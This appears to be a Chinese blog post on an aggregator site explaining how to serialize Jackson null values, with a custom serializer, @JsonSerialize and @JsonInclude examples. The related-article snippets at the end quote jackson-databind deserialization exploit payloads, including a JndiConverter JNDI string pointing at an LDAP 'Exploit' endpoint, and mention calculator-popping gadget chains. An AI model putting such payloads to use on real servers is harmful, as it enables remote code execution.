jackson null值 序列化

这篇具有很好参考价值的文章主要介绍了jackson null值 序列化。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

jackson null值 序列化

将 null 转换为 字符串

在Jackson中,序列化时将null值转换为字符串(例如,输出为"null"而不是忽略或输出null)通常不是标准行为,但可以通过自定义序列化处理器来实现。

以下是一个简单的示例,演示如何创建一个自定义JsonSerializer,用于将所有类型的null值序列化为字符串 "null"

import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.databind.JsonSerializer;
import com.fasterxml.jackson.databind.SerializerProvider;
import com.fasterxml.jackson.databind.ser.std.StdSerializer;

import java.io.IOException;

public class NullToStringSerializer extends StdSerializer<Object> {

    public NullToStringSerializer() {
        // 泛型指定为Object,以便可以处理所有类型的null值
        this(null);
    }

    protected NullToStringSerializer(Class<Object> t) {
        super(t);
    }

    @Override
    public void serialize(Object value, JsonGenerator gen, SerializerProvider provider) throws IOException {
        if (value == null) {
            gen.writeString("null");
        } else {
            // 如果不是null,则调用默认的序列化器
            provider.defaultSerializeValue(value, gen);
        }
    }
}

全局注册 null 序列化为 空字符串

然后,在配置ObjectMapper时注册这个自定义序列化器:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.module.SimpleModule;

public class JacksonConfig {

    public ObjectMapper configureObjectMapper(ObjectMapper objectMapper) {
        SimpleModule module = new SimpleModule();
        module.addSerializer(Object.class, new NullToStringSerializer());
        objectMapper.registerModule(module);

        return objectMapper;
    }
}

请注意,这个配置会影响所有类型的null值,可能并不总是理想的结果。如果你只希望针对特定类型的字段这么做,可以修改自定义序列化器,使其只处理特定类型的null值,或者通过@JsonSerialize注解在特定类或属性上使用自定义的序列化器。

另外,这个做法在某些情况下可能会导致JSON结果不符合预期,特别是在JSON解析时,"null"字符串通常不会被解析为null值,而是作为一个包含字符串"null"的对象。所以在实际应用中要谨慎对待此类需求,确保符合应用程序的设计规范。

指定字段的序列化

在Jackson中,可以通过 @JsonSerialize 注解来指定字段的序列化行为。例如,你可以使用它来指定如何序列化 null 值:

要在特定字段上使用NullToStringSerializer,可以通过在该字段上使用@JsonSerialize注解来指定。假设你有一个类MyClass,其中有一个字段myField,你希望当myFieldnull时,在序列化时输出为字符串"null",可以这样做:

import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import com.yourpackage.NullToStringSerializer; // 请替换为你的NullToStringSerializer全限定名

public class MyClass {

    private String myField;

    // ... 其他字段和方法 ...

    // 使用@JsonSerialize注解指定自定义序列化器
    @JsonSerialize(using = NullToStringSerializer.class)
    public String getMyField() {
        return myField;
    }

    // ... setter 方法 ...
}

这里的NullToStringSerializer需要是你之前定义的那个实现类。如此一来,只有myField字段在序列化为JSON时,当其值为null时才会被转换为字符串"null"

!注意:

当默认null 序列化 不输出时,@JsonSerialize(using = NullToStringSerializer.class) 不生效

null值 序列化时 默认不显示

Jackson 默认在序列化时,对于对象的属性值为 null 的情况不会将它们写入 JSON 输出。如果你希望改变这一行为,可以使用 @JsonInclude 注解来控制是否包含 null 值:

import com.fasterxml.jackson.annotation.JsonInclude;

public class User {
    @JsonInclude(JsonInclude.Include.NON_NULL) // 不包含 null 值
    private String name;

    @JsonInclude(JsonInclude.Include.ALWAYS) // 总是包含,即使值为 null
    private Integer age;

    // 构造函数、getter 和 setter 省略
}

在这个例子中:

  • name 字段只有当它的值不为 null 时才会被序列化到 JSON 中。
  • age 字段无论其值是否为 null 都会被序列化到 JSON 中。

如果你想全局更改这个行为(即所有字段都按同样的规则处理),可以在 ObjectMapper 上设置全局默认值:

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); // 或 JsonInclude.Include.ALWAYS

// 现在,使用此 objectMapper 进行序列化的任何对象都将遵循指定的规则
String json = objectMapper.writeValueAsString(user);

这样配置后,所有的 null 值要么都会被忽略(NON_NULL),要么都会被输出(ALWAYS)。文章来源地址https://www.toymoban.com/news/detail-799645.html

到了这里,关于jackson null值 序列化的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JackSon反序列化通杀

    Springboot一般都会自带 JackSon 这个依赖包, JackSon 跟 Fastjson 有相同的功效 运行即可弹计算器 PoJoNode 类是继承 ValueNode , ValueNode 是继承 BaseJsonNode 类,我们看看 BaseJsonNode 类 它拥有 writeReplace 方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个 writeReplace 方法,

    2024年04月12日
    浏览(22)
  • RabbitMQ 消息对象通过 Jackson 库消息转化器 序列化/反序列化 天坑!

    目录 1. 报错的背景 2. 问题分析 3. 最佳解决办法 a)使用 RabbitMQ 发送消息时,发送消息的类型为 MapString, Object,map 里面我 put 了一个 String, Long 类型,如下图: b)这里有一个前提:我清楚使用 org.springframework.amqp.rabbit.core.RabbitTemplate 来发送消息到 RabbitMQ 队列时,消息的序列

    2024年04月15日
    浏览(51)
  • jackson自定义反序列化器JsonDeserializer

    JSON序列化:将实体类对象转为JSON字符串 JSON反序列化:将JSON字符串转为实体类 jackson作为Spring MVC和Spring Boot默认的JSON解析器,其与gson的工作原理不一样。 jackson通过调用实体类每个属性get/set方法进行注入,而gson则是通过设置每个属性为可访问后注入 。 jackson工作原理大致如

    2024年02月06日
    浏览(28)
  • Jackson--FastJson--XStream--代码执行&&反序列化

    2.0.0 = FasterXML jackson-databind Version = 2.9.10.2 不受影响版本 FasterXML jackson-databind = 2.8.11.5 FasterXML jackson-databind = 2.9.10.3 POC: String json = \\\"[\\\"org.apache.xbean.propertyeditor.JndiConverter\\\", {\\\"asText\\\":\\\"ldap://localhost:1389/Exploit\\\"}]\\\"; FasterXML jackson-databind 2.x 2.9.10.8 POC String payload = \\\"[\\\"com.oracle.wls.shaded.org.apa

    2024年02月08日
    浏览(43)
  • Jackson序列化Bean额外属性附加--@JsonAnyGetter、@JsonUnwrapped用户

    有一项工作,需要将数据从一个服务S中读取出来(得到的是一个JSON),将数据解析转换以后构造成一个数组的类型A的对象,写入到一个服务T中。 A.class 在发现需要增加一种类型A的字类型B,这个类型属性非常多(将近一百),在这种情形下,如果直接定义出类型B来,定义那

    2024年01月24日
    浏览(54)
  • JSON序列化与反序列化NULL值丢失问题

    做项目一般都会有一些特殊的需求,例如保留json中的null值,但是fastjson都会把null值得属性给过滤掉 json序列化保留null值 json反序列化保留null值 使用hutool的Json工具时

    2024年02月15日
    浏览(35)
  • Jackson-databind 反序列化漏洞(CVE-2017-7525、CVE-2017-17485)

    Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特

    2024年02月13日
    浏览(28)
  • SpringBoot自定义Jackson注解,实现自定义序列化BigDecimal(增强JsonFormat注解)

    在处理BigDecimal字段的时候,希望自定义序列化格式。虽然有 JsonFormat可以自定义格式,但是还是不够,JsonFormat不能对 BigDecimal 进行个性化处理,比如指定的RoundingMode。 现在就是需要有个注解,可以实现自定序列化BigDecimal类型 首先,自定义一个注解 BigDecimalFormatter 实现一个

    2024年02月09日
    浏览(34)
  • SpringBoot序列化、反序列化空字符串为null的三种方式

    SpringBoot项目 方式:①Jackson(推荐)、②切面+反射、③注解+切面+反射 后两种方式,未做返回值的处理。 1、 Jackson正反序列化(推荐) StdConverter 和 JsonSerializer的区别 ENTITY 序列化处理类 反序列化处理类 序列化-转换1 序列化-转换2 Controller 测试 2、切面+反射/3、注解+切面+反

    2024年04月22日
    浏览(28)
  • Java序列化和反序列化

    目录 一、序列化和反序列化 二、Java序列化演示 三、反序列化漏洞 1、含义 ​序列化就是内存中的对象写入到IO流中,保存的格式可以是二进制或者文本内容。反序列化就是IO流还原成对象。 2、用途 (1)传输网络对象 (2)保存Session 1、序列化 java.io.ObjectOutputStream代表对象

    2023年04月25日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包